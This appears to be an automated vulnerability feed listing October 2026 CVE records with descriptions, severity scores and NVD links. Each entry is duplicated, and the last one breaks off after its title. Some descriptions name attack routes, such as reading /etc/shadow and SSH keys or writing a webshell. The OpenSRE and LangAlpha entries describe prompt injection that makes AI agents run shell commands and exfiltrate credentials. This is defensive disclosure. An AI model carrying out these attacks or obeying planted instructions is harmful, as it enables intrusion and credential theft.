Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-58280
Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-58280).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-58280&date=2026-10-25).
Sources:
NVD CVE-2026-58280: https://nvd.nist.gov/vuln/detail/CVE-2026-58280
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-58280&date=2026-10-25
Uncontrolled recursion in .NET allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open...
https://kevwire.com/record/CVE-2026-113411
A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open... (Oct 20, 2026).
A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open Handler. The manipulation of the argument url results in improper authorization in handler for custom url scheme. The attack can be executed remotely. The exploit has been made public and could be used. Upgrading to version 2.3.3 can resolve this issue. The patch is identified as f4df21bbc290f6c1956d899cf4da9e963074a6e4. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113411).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113411&date=2026-10-25).
Sources:
NVD CVE-2026-113411: https://nvd.nist.gov/vuln/detail/CVE-2026-113411
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113411&date=2026-10-25
A vulnerability was found in Nerimity Desktop up to 2.2.2. Affected by this issue is the function shell.openExternal of the file src/mainWindow.js of the component Window Open Handler. The manipulation of the argument url results in improper authorization in handler for custom url scheme. The attack can be executed remotely. The exploit has been made public and could be used. Upgrading to version 2.3.3 can resolve this issue. The patch is identified as f4df21bbc290f6c1956d899cf4da9e963074a6e4. You should upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi.
https://kevwire.com/record/CVE-2026-113394
A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi. (Oct 20, 2026).
A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi. The manipulation of the argument setSWMProfile leads to path traversal. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113394).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113394&date=2026-10-25).
Sources:
NVD CVE-2026-113394: https://nvd.nist.gov/vuln/detail/CVE-2026-113394
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113394&date=2026-10-25
A vulnerability was identified in DrayTek Vigor2960 1.5.1.6 Revision 8218. Impacted is the function setSWMProfile of the file /cgi-bin/mainfunction.cgi. The manipulation of the argument setSWMProfile leads to path traversal. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI...
https://kevwire.com/record/CVE-2026-113390
A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI... (Oct 20, 2026).
A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI Interface. This manipulation of the argument usefile/usescript/option causes os command injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113390).
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113390&date=2026-10-25).
Sources:
NVD CVE-2026-113390: https://nvd.nist.gov/vuln/detail/CVE-2026-113390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113390&date=2026-10-25
A flaw has been found in DrayTek Vigor2960 1.5.1.6 Revision 8218. Affected by this issue is the function sub_182B0 of the file /cgi-bin/mainfunction.cgi of the component CGI Interface. This manipulation of the argument usefile/usescript/option causes os command injection. Remote exploitation of the attack is possible. The exploit has been published and may be used. The vendor explains: "2960 1.5.1.7 has corrected many security issues. And 2960 is EoS with limited support, only major issues would be reviewed(e.g. unauthenticated vuln.)". This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection.
https://kevwire.com/record/CVE-2026-113386
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection. (Oct 20, 2026).
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection. A remote authenticated attacker can exploit this via CRLF sequences injected into the _uid parameter of the mail/headers and mail/viewsource actions to execute arbitrary IMAP commands.
CVSS 7.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113386).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113386&date=2026-10-25).
Sources:
NVD CVE-2026-113386: https://nvd.nist.gov/vuln/detail/CVE-2026-113386
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113386&date=2026-10-25
Roundcube Webmail before 1.6.20 and 1.7.x before 1.7.5 are affected by IMAP command injection. A remote authenticated attacker can exploit this via CRLF sequences injected into the _uid parameter of the mail/headers and mail/viewsource actions to execute arbitrary IMAP commands.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of...
https://kevwire.com/record/CVE-2026-113354
Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of... (Oct 20, 2026).
Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of /api/system/files/content. Attackers can supply absolute paths to read /etc/shadow, /etc/passwd, git .git/config credentials, and SSH keys from the Dockhand container.
CVSS 7.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113354).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113354&date=2026-10-25).
Sources:
NVD CVE-2026-113354: https://nvd.nist.gov/vuln/detail/CVE-2026-113354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113354&date=2026-10-25
Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of /api/system/files/content. Attackers can supply absolute paths to read /etc/shadow, /etc/passwd, git .git/config credentials, and SSH keys from the Dockhand container.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist.
https://kevwire.com/record/CVE-2026-112370
A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist. (Oct 19, 2026).
A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.
CVSS 8.6 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112370).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112370&date=2026-10-25).
Sources:
NVD CVE-2026-112370: https://nvd.nist.gov/vuln/detail/CVE-2026-112370
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112370&date=2026-10-25
A vulnerability was found in H3C Magic NX15 100R017. This issue affects the function sub_416874 of the file /usr/bin/usrlist. Performing a manipulation results in os command injection. Remote exploitation of the attack is possible. The exploit has been made public and could be used. The vendor was contacted early about this disclosure.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-109468
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network. (Oct 15, 2026).
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109468).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109468&date=2026-10-25).
Sources:
NVD CVE-2026-109468: https://nvd.nist.gov/vuln/detail/CVE-2026-109468
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109468&date=2026-10-25
Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless...
https://kevwire.com/record/CVE-2026-109444
OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless... (Oct 20, 2026).
OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless presenter's execution_allowed() always returns True. Attackers can inject instructions into alerts or Slack messages triaged by the agent to run commands on the host and exfiltrate LLM, Slack and cloud credentials.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109444).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109444&date=2026-10-25).
Sources:
NVD CVE-2026-109444: https://nvd.nist.gov/vuln/detail/CVE-2026-109444
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109444&date=2026-10-25
OpenSRE through 0.1.2026.10.19 contains an approval gate bypass vulnerability that allows attackers to execute shell_run commands without confirmation because the headless presenter's execution_allowed() always returns True. Attackers can inject instructions into alerts or Slack messages triaged by the agent to run commands on the host and exfiltrate LLM, Slack and cloud credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web...
https://kevwire.com/record/CVE-2026-109440
LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web... (Oct 20, 2026).
LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web content retrieved by the agent. Because Bash and ExecuteCode lack an allow-list and human-in-the-loop approval, attackers can run code in the workspace sandbox and exfiltrate vault secrets from _internal/.vault_secrets.json.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109440).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109440&date=2026-10-25).
Sources:
NVD CVE-2026-109440: https://nvd.nist.gov/vuln/detail/CVE-2026-109440
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109440&date=2026-10-25
LangAlpha through 2026.09.07 contains an indirect prompt injection vulnerability that allows remote attackers to execute shell commands or Python by planting instructions in web content retrieved by the agent. Because Bash and ExecuteCode lack an allow-list and human-in-the-loop approval, attackers can run code in the workspace sandbox and exfiltrate vault secrets from _internal/.vault_secrets.json.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105016
Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105016).
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105016&date=2026-10-25).
Sources:
NVD CVE-2026-105016: https://nvd.nist.gov/vuln/detail/CVE-2026-105016
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105016&date=2026-10-25
Heap-based buffer overflow in Microsoft QUIC allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an...
https://kevwire.com/record/CVE-2026-113582
UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an... (Oct 22, 2026).
UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an application parses attacker-controlled XML with Abdera.



This issue affects Apache Abdera: all versions.



Apache Abdera is retired and no longer supported, so we do not plan to release a version that fixes this issue. Users are recommended to migrate to a maintained alternative. Applications that cannot migrate should ensure that untrusted XML cannot reach the affected Abdera parser or JDBC adapter parsing paths. Actively maintained downstream products may still be impacted if they include an affected Abdera artifact.



NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113582).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113582&date=2026-10-25).
Sources:
NVD CVE-2026-113582: https://nvd.nist.gov/vuln/detail/CVE-2026-113582
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113582&date=2026-10-25
UNSUPPORTED WHEN ASSIGNED Improper restriction of XML external entity references in Apache Abdera allows an attacker to access sensitive data or make server-side requests when an application parses attacker-controlled XML with Abdera.



This issue affects Apache Abdera: all versions.



Apache Abdera is retired and no longer supported, so we do not plan to release a version that fixes this issue. Users are recommended to migrate to a maintained alternative. Applications that cannot migrate should ensure that untrusted XML cannot reach the affected Abdera parser or JDBC adapter parsing paths. Actively maintained downstream products may still be impacted if they include an affected Abdera artifact.



NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with...
https://kevwire.com/record/CVE-2026-112780
Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with... (Oct 19, 2026).
Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with replace-name@. Attackers with page-edit permission can smuggle data-*@ directives past the callable check to invoke Folder::delete, Folder::move, or Utils::download, deleting directories, overwriting files, or reading files.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112780).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112780&date=2026-10-25).
Sources:
NVD CVE-2026-112780: https://nvd.nist.gov/vuln/detail/CVE-2026-112780
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112780&date=2026-10-25
Grav from 2.0.15 before 2.2.2 contains an allowlist bypass vulnerability that allows page editors to call arbitrary public static methods by renaming Flex form fields with replace-name@. Attackers with page-edit permission can smuggle data-*@ directives past the callable check to invoke Folder::delete, Folder::move, or Utils::download, deleting directories, overwriting files, or reading files.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate...
https://kevwire.com/record/CVE-2026-112775
Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate... (Oct 19, 2026).
Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate them for active users. Attackers who obtain a victim's emailed code can submit it to users/set-password after the victim verifies an email change, resetting the password and taking over the account.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112775).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112775&date=2026-10-25).
Sources:
NVD CVE-2026-112775: https://nvd.nist.gov/vuln/detail/CVE-2026-112775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112775&date=2026-10-25
Craft CMS from 5.0.0 before 5.11.0 contains an authentication bypass vulnerability that allows attackers to reuse verification codes because users/verify-email does not invalidate them for active users. Attackers who obtain a victim's emailed code can submit it to users/set-password after the victim verifies an email change, resetting the password and taking over the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables...
https://kevwire.com/record/CVE-2026-112770
Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables... (Oct 19, 2026).
Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables without the checkArrow guard used by other arrow-accepting filters. Authenticated control panel users can pass an array-callable such as FileHelper::writeToFile via element-select condition rules to write a webshell to the webroot and execute code as the web user.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112770).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112770&date=2026-10-25).
Sources:
NVD CVE-2026-112770: https://nvd.nist.gov/vuln/detail/CVE-2026-112770
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112770&date=2026-10-25
Craft CMS 4.x before 4.18.8 and 5.x before 5.11.0 contains a remote code execution vulnerability in the Twig group filter, which invokes non-string arrow arguments as callables without the checkArrow guard used by other arrow-accepting filters. Authenticated control panel users can pass an array-callable such as FileHelper::writeToFile via element-select condition rules to write a webshell to the webroot and execute code as the web user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component...
https://kevwire.com/record/CVE-2026-112302
A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component... (Oct 19, 2026).
A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component Extraction. This manipulation causes path traversal. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 2.1 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-112302).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112302&date=2026-10-25).
Sources:
NVD CVE-2026-112302: https://nvd.nist.gov/vuln/detail/CVE-2026-112302
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112302&date=2026-10-25
A weakness has been identified in kiwilan php-archive up to 2.3.02. This affects the function ArchiveZip::extract of the file src/Readers/ArchiveZip.php of the component Extraction. This manipulation causes path traversal. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91350
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91350).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91350&date=2026-10-25).
Sources:
NVD CVE-2026-91350: https://nvd.nist.gov/vuln/detail/CVE-2026-91350
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91350&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK).
https://kevwire.com/record/CVE-2026-91349
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Clean Content SDK). (Oct 20, 2026).
